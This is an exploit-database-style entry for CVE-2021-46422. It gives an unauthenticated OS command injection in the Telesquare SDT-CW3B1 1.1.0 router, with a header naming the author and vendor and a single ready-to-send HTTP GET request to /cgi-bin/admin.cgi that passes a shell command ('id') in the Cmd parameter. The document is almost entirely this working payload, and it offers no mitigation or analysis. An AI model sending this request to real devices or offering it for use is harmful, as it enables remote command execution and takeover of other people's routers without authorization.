SDT-CW3B1 1.1.0 Command Injection

`# Exploit Title: SDT-CW3B1 1.1.0 - OS command injection  
# Date: 2022-05-12  
# Exploit Author: Ahmed Alroky  
# Author Company : AIactive  
# Version: 1.0.0  
# Vendor home page : http://telesquare.co.kr/  
# Authentication Required: No  
# CVE : CVE-2021-46422  
  
# Tested on: Windows  
  
# HTTP Request  
GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=id HTTP/1.1  
Host: IP_HERE  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36  
Accept: */*  
Referer: http:// IP_HERE /admin/system_command.shtml  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
`